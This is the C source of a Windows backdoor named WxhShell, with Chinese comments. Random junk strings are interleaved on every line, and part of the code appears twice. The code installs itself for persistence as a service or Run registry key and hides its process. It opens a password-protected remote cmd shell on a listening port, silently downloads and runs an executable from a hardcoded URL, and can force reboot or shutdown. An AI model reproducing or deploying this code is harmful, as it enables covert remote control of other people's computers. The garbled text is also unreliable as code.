NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /\s}uSW :G w~7v_ if (!NtQueryInformationProcess) return 0; R8ONcG o PKr*
`' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K0+.q?8D| if(!hProcess) return 0; 7xo4-fIuT RC#C\S6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QYb33pN| V&]DzjT/ CloseHandle(hProcess); pE.PX
8 -5l6&Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lfsqC};#\ if(hProcess==NULL) return 0; HL3XyP7 qm*}U3K HMODULE hMod; .9[45][FK char procName[255]; W/ay.I unsigned long cbNeeded; ^rl"rEA w2O!M!1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 98jN)Nl,oD xda;
K~w CloseHandle(hProcess); M]v=- U).*q?.z if(strstr(procName,"services")) return 1; // 以服务启动 =,!\~`^ ?YM4b5!3T return 0; // 注册表启动 /Ss7"*JLe } %h"z0@+ d'6|: z9c // 主模块 w@\vHH.;V int StartWxhshell(LPSTR lpCmdLine) (UCK;k { vR6Bn SOCKET wsl; k^ F@X BOOL val=TRUE; 2f`nMW int port=0; YT/kC'A struct sockaddr_in door; PYRd]%X ^I6^g if(wscfg.ws_autoins) Install(); zjL.Bhiud ^&/G| port=atoi(lpCmdLine); f&,{XZ 60=m if(port<=0) port=wscfg.ws_port; >evS}O6 qH,l#I\CG WSADATA data; R=Ws#' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nr<`Z @.$Xv>Jt$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +y2[msBs setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }{ 9&:!uA door.sin_family = AF_INET; +|Hioq*,t door.sin_addr.s_addr = inet_addr("127.0.0.1"); U!%!m' door.sin_port = htons(port); 5Ky#GuC 2O"P2(1}v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l%z< (L5 closesocket(wsl); *Oc.9 F88" return 1; 4n1; Bh$ } %owsBO+ 9~rUkHD if(listen(wsl,2) == INVALID_SOCKET) { Z|9u]xL closesocket(wsl); \AUI|M;' return 1; =$8nUX` } am_gH Wxhshell(wsl); tj]9~eJ- WSACleanup(); y %$O-q Cd79 tu| return 0; ;Yfv!\^ | -7uwOr } [OTJV pC b*fgv9Kh' // 以NT服务方式启动 [+*$\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /WV7gO&L1 { )Dp/('Z2 DWORD status = 0; LLWB DWORD specificError = 0xfffffff; AB Xl x6afI<dm serviceStatus.dwServiceType = SERVICE_WIN32; `dMqe\o%! serviceStatus.dwCurrentState = SERVICE_START_PENDING; F["wDO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SjjIr ^ serviceStatus.dwWin32ExitCode = 0; *{undZ?(> serviceStatus.dwServiceSpecificExitCode = 0; `u!l3VZ/4 serviceStatus.dwCheckPoint = 0; ,
$Qo = serviceStatus.dwWaitHint = 0; MC((M,3L b?4/#&z] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M}_i52 if (hServiceStatusHandle==0) return; jJ4qR:] ]u-]'P status = GetLastError(); I]Tsz'T!9 if (status!=NO_ERROR) 5 )2:stT73 { ]W0EVf=,k serviceStatus.dwCurrentState = SERVICE_STOPPED; BYW^/B Y) serviceStatus.dwCheckPoint = 0; @ ''GPL@ serviceStatus.dwWaitHint = 0; (\"k&O{ serviceStatus.dwWin32ExitCode = status; 6ZgU"!|r serviceStatus.dwServiceSpecificExitCode = specificError; cr?7O;, SetServiceStatus(hServiceStatusHandle, &serviceStatus); =z?%;4'| return; &bqT/H18 } }7G8|54t rV({4cIe9R serviceStatus.dwCurrentState = SERVICE_RUNNING; f\;65k_jq serviceStatus.dwCheckPoint = 0; f"7M^1)h2% serviceStatus.dwWaitHint = 0; Z34Wbun4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Q
"p\@\! } /MB{Pmk$R jEc|]E // 处理NT服务事件,比如:启动、停止 6~#Ih)K VOID WINAPI NTServiceHandler(DWORD fdwControl) HIGq%m=-x { ;U:
{/ switch(fdwControl) 6OiSK@<Hk { Et"?8\"n7 case SERVICE_CONTROL_STOP: zJM S=r serviceStatus.dwWin32ExitCode = 0; Sx*oo{Kk% serviceStatus.dwCurrentState = SERVICE_STOPPED; "'^4*o9 serviceStatus.dwCheckPoint = 0; 04J}UE]Ww serviceStatus.dwWaitHint = 0; H* ,,^ { Hv]7e| SetServiceStatus(hServiceStatusHandle, &serviceStatus); E@a3~a } _8}QlT return; zJ+8FWy:S case SERVICE_CONTROL_PAUSE: ,U)"WLmY serviceStatus.dwCurrentState = SERVICE_PAUSED; Kx"<J@ break; SxyONp.$\ case SERVICE_CONTROL_CONTINUE: ~9F ,% serviceStatus.dwCurrentState = SERVICE_RUNNING; 4E8JT#& break; Xd:7"/:r case SERVICE_CONTROL_INTERROGATE: VN4yn| f/ break; !@u>A_ }; 30PZ{c&Rll SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1tCQpf } H7+Xs% E^_wI> // 标准应用程序主函数 {Z; jhR, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x#~ x;) { &X9Z
W$C e98lhu"|H // 获取操作系统版本 V&soN:HS OsIsNt=GetOsVer(); 6m .k;' GetModuleFileName(NULL,ExeFile,MAX_PATH); ~,D@8tv p3ISWJa! // 从命令行安装 `"i Y* if(strpbrk(lpCmdLine,"iI")) Install(); Q@e[5RA+] Mcw4!{l` // 下载执行文件 n[Zz]IO,g if(wscfg.ws_downexe) { , "jbq~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pqvOJ#?Q}= WinExec(wscfg.ws_filenam,SW_HIDE); +^rh[>W } W$JebW<z( Nf+b"&Zh` if(!OsIsNt) { $d+DDm1o // 如果时win9x,隐藏进程并且设置为注册表启动 j9qREf9) HideProc(); f:zFFpP.j@ StartWxhshell(lpCmdLine); @=w<B4L } `=#01YX[0 else a m-b!l!q^ if(StartFromService()) 53 QfTP // 以服务方式启动 2:}fe} StartServiceCtrlDispatcher(DispatchTable); QQk{\PV else U(&oj e // 普通方式启动 y#Ht{)C StartWxhshell(lpCmdLine); K\[!SXg@ y AF+bCXo return 0; ~5ZvOX6L2 }
zJa)* N jO9ip _FbC{yI8; d-bqL:/ =========================================== ZaFb*XRgS d;tkJ2@NO 2y0J`!/) k)S.]!u&G ;;5Uwd'- 1ju#9i`.Wg " Kzy/9 BhpOXqg #include <stdio.h> A6<C-1
N}j #include <string.h> 5q{h 2).) #include <windows.h> tC8(XMVx #include <winsock2.h> C8@TZ[w #include <winsvc.h> u{&B^s)k. #include <urlmon.h> !DjvsG1x Uu6L~iB #pragma comment (lib, "Ws2_32.lib") CZ2`H[8 #pragma comment (lib, "urlmon.lib") M"q[ p M_B:{%4 #define MAX_USER 100 // 最大客户端连接数 z2ms^Y=j #define BUF_SOCK 200 // sock buffer Ap&)6g #define KEY_BUFF 255 // 输入 buffer Uts"aQ "wH) mQnd #define REBOOT 0 // 重启 HDM<w+ZxX #define SHUTDOWN 1 // 关机 L~{_!Q jD){I #define DEF_PORT 5000 // 监听端口 e"-X U@`k1 W[[oSqp #define REG_LEN 16 // 注册表键长度 kI*(V[i #define SVC_LEN 80 // NT服务名长度 *VSel4;\t 3zuF{Q2P< // 从dll定义API @e~]t}fH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5OM?3M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,O=a*%0rt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \8uo{#cL8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KH KS$D CR4rDh8z a // wxhshell配置信息 XA0(f* struct WSCFG { 78n}rT%k1 int ws_port; // 监听端口 3HG;!D~m; char ws_passstr[REG_LEN]; // 口令 y-?>*fNo int ws_autoins; // 安装标记, 1=yes 0=no 2J;`m_oP char ws_regname[REG_LEN]; // 注册表键名 @$Qof1j'% char ws_svcname[REG_LEN]; // 服务名 mOll5O7VW char ws_svcdisp[SVC_LEN]; // 服务显示名 fbrp#G71y char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Wg-x0R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,zcQS-e2 int ws_downexe; // 下载执行标记, 1=yes 0=no lw8"'0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (J$\-a7<f char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z^*
'@ <dA8
'7^ }; \`'KlF2 Qx|H1_6 // default Wxhshell configuration `znB7VQ0 struct WSCFG wscfg={DEF_PORT, q)u2Y] "xuhuanlingzhe", @b&84Gn2
r 1, 78#!Q.## "Wxhshell", ;'T{li2 "Wxhshell", v|Jlf$> "WxhShell Service", hSqY$P "Wrsky Windows CmdShell Service", &Y|Xd4: "Please Input Your Password: ", @}F Awv^f 1, L/}iy} "http://www.wrsky.com/wxhshell.exe", !KS F3sz "Wxhshell.exe" hPm>tV2X }; 4FeEGySow x
FJg // 消息定义模块 F
SMj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KM?1/KZ/~ char *msg_ws_prompt="\n\r? for help\n\r#>"; R5Yl 1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /z."l!u6 char *msg_ws_ext="\n\rExit."; 7D" %%|:
h char *msg_ws_end="\n\rQuit."; ul7o%Hs char *msg_ws_boot="\n\rReboot..."; &!.HuRiuC char *msg_ws_poff="\n\rShutdown..."; iMP char *msg_ws_down="\n\rSave to "; -=$2p0"R dLh6:Gh8_I char *msg_ws_err="\n\rErr!"; -xmf'c9P char *msg_ws_ok="\n\rOK!"; ={(j`VSUX0 Q}%tt=KD char ExeFile[MAX_PATH]; ;~ 4k7Uz int nUser = 0; jjOgG-Q HANDLE handles[MAX_USER]; jdRq6U^ int OsIsNt; ;Kxbg>U dFW=9ru+MQ SERVICE_STATUS serviceStatus; |qcD; SERVICE_STATUS_HANDLE hServiceStatusHandle; %(m]) I d8wS!W`7 // 函数声明 Os),;W0w4 int Install(void); V}8$p8#<@ int Uninstall(void); #m. AN int DownloadFile(char *sURL, SOCKET wsh); JV"NZvjN7d int Boot(int flag); IFNWS,: void HideProc(void);
I8m:3fL" int GetOsVer(void); ^%bBW6eZ int Wxhshell(SOCKET wsl); >mu)/kl void TalkWithClient(void *cs); I?Y d
int CmdShell(SOCKET sock); mL L$| int StartFromService(void); %5 </d5. int StartWxhshell(LPSTR lpCmdLine); R|,7d:k x2wg^$F*oO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X33v:9= VOID WINAPI NTServiceHandler( DWORD fdwControl ); Evu=M-? <zB*'m // 数据结构和表定义 7Ur?ep SERVICE_TABLE_ENTRY DispatchTable[] = iv%w!3# { `"y`AY/N {wscfg.ws_svcname, NTServiceMain}, w8M2N]&: {NULL, NULL} SBKeb|H8 }; rnhFqNT: $%qg" // 自我安装 E{^^^"z P int Install(void) :xeLt; { IhonnLLW char svExeFile[MAX_PATH]; L ^Y3=1#"g HKEY key; DQ6jT@ZDH strcpy(svExeFile,ExeFile); a0_(eO-S )*1.eObhL // 如果是win9x系统,修改注册表设为自启动 )qM|3], if(!OsIsNt) { 2hOPzv&B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zhEo(kU!
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ziL^M"~2 RegCloseKey(key); _vYzF+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <)#kq1b? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %]4-{%v RegCloseKey(key); \ElX~$fS return 0; O]=C#E{ } ?C;JJ#Ho } r'aY2n^O } w+UV"\!G)Q else { h8}8Lp(/' 3B9nP._ // 如果是NT以上系统,安装为系统服务 YB!!/ SX4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (!zM\sF if (schSCManager!=0) Z!\@%`0$ { (aKZ5>>cN SC_HANDLE schService = CreateService `F1dyf!p< ( oh\,OW schSCManager, -CBD|fo[h wscfg.ws_svcname, !oMt_k X wscfg.ws_svcdisp, uEd,rEB> SERVICE_ALL_ACCESS, MV936 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I-:`cON=G SERVICE_AUTO_START, D s-` SERVICE_ERROR_NORMAL, y4F^|kS) [ svExeFile, gg]~2f NULL, -J$g(sikt NULL, 7kz-V. NULL, kL7^$ NULL, ?SX_gYe9 NULL 1r4,XSk ); *BOBH;s if (schService!=0) MW@ DXbKVl { XVUf,N, CloseServiceHandle(schService); {'~sS CloseServiceHandle(schSCManager); ,IjdO(?TC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o/JPYBhdl strcat(svExeFile,wscfg.ws_svcname); k&GHu0z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a!t
V6H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *T4ge|zUc RegCloseKey(key); nFXAF!,jj return 0; epVH.u% } YNM\pX' } 8~5|KO >F CloseServiceHandle(schSCManager); oh&Y<d0 } XZO<dhZX: } OV|Z=EwJ yX9B97XyC return 1; _i@x@:_l } 1q!sKoJ< M {x ie // 自我卸载 eTZ`q_LfI1 int Uninstall(void) i QqbzOY { D44I"TgqD HKEY key; G%OpO.Wf v*DFiCQD if(!OsIsNt) { TN ci.'] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */U$sZQ) RegDeleteValue(key,wscfg.ws_regname); 6y@<?08Q RegCloseKey(key); iEhDaC[e(b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yq;&F0paK RegDeleteValue(key,wscfg.ws_regname); @,vv\M0)p RegCloseKey(key); OK\]*r return 0; M(S{1|,V } y h-9u } >4'21,q } r5)f82pQ else { A_Gp&acs$ =g2\CIlVU6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XI
g|G}i. if (schSCManager!=0) h544dNo& { Kq6qXc\x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WguV{#=H if (schService!=0) }}s)
+d { &ps6s.K if(DeleteService(schService)!=0) { !:J<pWN" CloseServiceHandle(schService); `q1}6U/k CloseServiceHandle(schSCManager); ?M<|r11} return 0; p;ZDpR } f[M"EMy CloseServiceHandle(schService); Ap,q
`S } K!b>TICa: CloseServiceHandle(schSCManager); ]}_,U!`8 } j)@oRWL< } |ZuDX87 mg/]4)SF return 1; (QhAGk&lu } ]eL~L_[G\ }'_ :XKLj // 从指定url下载文件 ndt8=6p
int DownloadFile(char *sURL, SOCKET wsh) e)og4 { % NwoU%q HRESULT hr; Ug` char seps[]= "/"; %J3lK]bv( char *token; Nuo<` 6mV@ char *file; Es,0'\m& char myURL[MAX_PATH]; %,E7vYjT% char myFILE[MAX_PATH]; fa.f(c L%4tw5*N strcpy(myURL,sURL); zN/Gy} token=strtok(myURL,seps); Xa6qvg7/ while(token!=NULL) t9n'! { w5=EtKTi file=token; *Ag, kW" token=strtok(NULL,seps); A8`orMo2 } Jz2q\42q n%Rjt!9 GetCurrentDirectory(MAX_PATH,myFILE); (BhL/A 4 strcat(myFILE, "\\"); Ut=0~x.=< strcat(myFILE, file); M,Po54u send(wsh,myFILE,strlen(myFILE),0); xKisL=l6Y send(wsh,"...",3,0); dR?5$V( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s={X-H< 2 if(hr==S_OK)
.;}pU!S~R return 0; JG1LS$p^ else _4A&%> return 1; ]n/jJ_[ r6/<&1[ } s
UvKA0 ,7/\&X<`B // 系统电源模块 4v i B=> int Boot(int flag) ;+!xZOmm { sd7Y6?_C HANDLE hToken; |Yg}WHm TOKEN_PRIVILEGES tkp; <`b|L9 f61]`@Bk if(OsIsNt) { l$qmn$Uc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HKT{IP+7(L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (rMTW+, tkp.PrivilegeCount = 1; ]*;RHy9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `jt(DKB+J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zh?xIpY if(flag==REBOOT) { o<Ke3?J\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8~rT return 0; .jy)>"h0 } $::51#^Wg else { y0lL Fe~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SlM>";C\ return 0; :1%VZvWk* } I%C]>ZZh } y;*My# else { I-j(e)P(o_ if(flag==REBOOT) { %,h!: Ec^c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) thR|h+B return 0; :^C#-O } %YsRm%q else { (p}9^Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6B4hSqjh return 0; $=X!nQ& Z| } @faF`8LwA } =/)Mc@Hb }"!6Xm return 1; i@sCMCu6 } Z{j!s6Y@{ IhtmD@H} // win9x进程隐藏模块 4"`=hu Q void HideProc(void) &n,xGIG { ' h0\4eu /6?tgr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eU<]h>2 if ( hKernel != NULL ) Vu^Q4Z { 2*b#+ b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !^rITiy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gt(X!iN] FreeLibrary(hKernel); :"h
Pg]' } m(Pz7U.Q 3g4vpKg6c return; w;g)Iy6x } hA$c.jJr.Z )L&n)w // 获取操作系统版本 $NH`Iu9t int GetOsVer(void) 0YgFjd
5 { G*kXWEx
OSVERSIONINFO winfo; je$R\7B< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C{U[w^X GetVersionEx(&winfo); !M#?kKj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d7n4zx1Hh return 1; Rq~
>h99M else n:{-Vvt return 0; bs4fyb } 23.y3t_? MV:<w3! // 客户端句柄模块 Lk$Je
O int Wxhshell(SOCKET wsl) S.?\>iH[ { |>m# m*{S SOCKET wsh; !ds"88:5^ struct sockaddr_in client; 1VPfa DWORD myID; t/EMBfLc o)$Q]N## while(nUser<MAX_USER) tOp:e KN { #Q!c42}M int nSize=sizeof(client); s0`]!7D< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q*oA{eZY if(wsh==INVALID_SOCKET) return 1; g6k&c"%IQ( '=@H2T6= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !nqm ;96 if(handles[nUser]==0) Gh chfI. closesocket(wsh); D| 8sjp4 else uH~ TugQ~ nUser++; +A.a~Stt } '/n%}=a= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x1BDvTqW UlLM<33_) return 0; JXD?a.vy^q } $TH'"XK O_%PBgcJr // 关闭 socket J_((o void CloseIt(SOCKET wsh) qJAv=D { 4N0W& Dy closesocket(wsh); GwU>o:g" nUser--; vb80J<4 ExitThread(0); b*F :l# } AU${0#WV_ MSrY*)n!>O // 客户端请求句柄 GYy!`E void TalkWithClient(void *cs) e
P,XH{s { LbmB([p 1zEZ\G SOCKET wsh=(SOCKET)cs; cxF?&0[mY char pwd[SVC_LEN]; UVQ a
af char cmd[KEY_BUFF]; %RK\Hz2q3 char chr[1]; SBYMDKZ int i,j; WEY97_@ p7ns(g@9 while (nUser < MAX_USER) { W@uH!n>k 3Wtv+L7Br if(wscfg.ws_passstr) { `!>dbR&1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jr*S2z<* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U{:(j5m //ZeroMemory(pwd,KEY_BUFF); Z2pN<S{5 i=0; \w@_(4")Qb while(i<SVC_LEN) { Rs(CrB/M |
9\7xT // 设置超时 ZE3ysLkm fd_set FdRead; O+UV\ struct timeval TimeOut; Eg-Mm4o FD_ZERO(&FdRead); 6pdl,5[x- FD_SET(wsh,&FdRead); (^s_w03 TimeOut.tv_sec=8; PU/Br;2A TimeOut.tv_usec=0; "3KSmb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^5'/ }iR2N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~IJZM`gN Ns(L1'9= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vlxb<$5Nh pwd=chr[0]; yPxG`w' if(chr[0]==0xd || chr[0]==0xa) { bQ\ -6dOtv pwd=0; g,GbaaXH break; ^xkppN2 } nAba
=iW i++; E+m"yQp{ } Pk?%PB?Z ek.WuOs // 如果是非法用户,关闭 socket aSj1P/A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hhgz=7Y } 1&dsQ,VDl J7xT6Q= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A(@gv8e[H^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UEYM;$_@4o oTV8rG while(1) { SAxa7B/U2 #* /W!UOu ZeroMemory(cmd,KEY_BUFF); V]PhXVJ R_*D7|v // 自动支持客户端 telnet标准 j?KB8oY`TP j=0; ';CuJXAj while(j<KEY_BUFF) { [+cnx21{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'LLQ[JJ=O cmd[j]=chr[0]; -$MC if(chr[0]==0xa || chr[0]==0xd) { "i<3}6/* cmd[j]=0; MHT,rqG break; mP
.&fS } dK(%u9v j++; j{w,<Wt> } eYX_V6c ~m09yc d< // 下载文件 V1b_z if(strstr(cmd,"http://")) { O> ^~SO send(wsh,msg_ws_down,strlen(msg_ws_down),0); VOK$;s'9} if(DownloadFile(cmd,wsh)) %oL&~6l$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); SoGLsO+R else f]6`GsE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sluZ-,zE } {F9Qy0.*u else { [tf^i:2 GTIfrqT switch(cmd[0]) { iF_r'+j C05{,w? // 帮助 cyP*QW[ case '?': { BNoCE! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .q[sk break; W]Y!ZfGnN } LW
3J$Am // 安装 f(MHU case 'i': { LOG*K;v3 if(Install()) .VEfd4+ni{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4H0<h
}{ else e%0#"6} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZ0%;Y0 break; o[r6sz: } IV#f}NrfD // 卸载 `xAJy5 case 'r': { xr3PO?: if(Uninstall()) 1Y"qQp send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]B' else c1!/jTX$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jG ;(89QR/ break; b0=AQ/: } jL).B& // 显示 wxhshell 所在路径 @.@#WHde case 'p': { i-vJ&}} char svExeFile[MAX_PATH]; tsC|R~wW strcpy(svExeFile,"\n\r"); eKti+n. strcat(svExeFile,ExeFile); 2DqHqq9m send(wsh,svExeFile,strlen(svExeFile),0); 5$Q`P',*Ua break;
%c2i.E/G } "/-v 9 // 重启 x]+KO)I case 'b': { QAnfxt6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R/xCS.yl} if(Boot(REBOOT)) !4cdP2^P send(wsh,msg_ws_err,strlen(msg_ws_err),0); OxGCpbh*7o else { G:ngio]G0 closesocket(wsh); Z5a@fWU ExitThread(0); 1% %Tm" } @!NHeH=pR break; e[&3K< } :+^llz // 关机 >b](v) case 'd': { =0fx6V send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 959jp85 if(Boot(SHUTDOWN)) <l/Qf[V send(wsh,msg_ws_err,strlen(msg_ws_err),0); s/0FSv
x else { >:nJTr closesocket(wsh); R:m=HS_ ExitThread(0); QD VA*6F } DJjDKVO5t break; >mSl~.I2 } #@"rp]1xv // 获取shell >ZsK5v case 's': { w7V
W CmdShell(wsh); S2SQ;s-t_ closesocket(wsh); Z'bMIdV ExitThread(0); oDI*\S> break; YVp0}m } 1Nu`@)D0 // 退出 (uz!:dkvx case 'x': { e1 }0f8% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iL'
]du<wk CloseIt(wsh); leJd){ break; HD|)D5wH| } 4c@F.I // 离开 X1D:{S[ case 'q': { X_8NW, send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6x8|v7cMH closesocket(wsh); %4K#<b"W WSACleanup(); d/QM exit(1); iPYlTV break; wf$ JuHPt } (W/UR9x)|d } e2ZUl` {g } L KR,CPz ,R6$SrNcd // 提示信息 hG3Lj7)UH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F4gc_>{| } !qve1H4d2 } t4f\0`jN {0{$.L return; rrRC5h
} "evV/Fg( 5LH ]B // shell模块句柄 >9|+F[Fc int CmdShell(SOCKET sock) )Q?[_<1Y+ { lI<8)42yq STARTUPINFO si; kO"aE~ ZeroMemory(&si,sizeof(si)); \
.s".aA si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4;{CR. D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f#b[KB^Z,2 PROCESS_INFORMATION ProcessInfo; W)O'( D char cmdline[]="cmd"; a8$pc>2E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7J/3O[2 return 0; A*;h}\n } mq9&To! V@f#/"u' // 自身启动模式 P .( X]+ int StartFromService(void) Us.jyg7_c { 1Xc%%j typedef struct ghiElsBU { 7|Y8^T
s DWORD ExitStatus; t/(j8w DWORD PebBaseAddress; )}5rs DWORD AffinityMask; b=EZtk6> DWORD BasePriority; n_glYSV! ULONG UniqueProcessId; &t4(86Bmq ULONG InheritedFromUniqueProcessId; Vd~k4 } PROCESS_BASIC_INFORMATION; +N:%`9}2V Zv7)+Q PROCNTQSIP NtQueryInformationProcess; =v9;HPiO SBt:
`, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; inrL'z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %)V3QnBO HrxEC)V6# HANDLE hProcess; 5~QB.m,> PROCESS_BASIC_INFORMATION pbi; RL9P:]
^ U"Oq85vY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :wm^04<i if(NULL == hInst ) return 0; EZV$1pa 1XRVbQt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XzsK^E0R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dx}!]_mlZ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :{2$X|f
3 x]T;W&s if (!NtQueryInformationProcess) return 0; u{ /gjv SYx)!n6U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
1<5yG7SZ if(!hProcess) return 0; f^ qQ5N TmiQq'm[b if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [XK"$C]jHJ K.~U%v} CloseHandle(hProcess); 5N/;'ySAE_ )
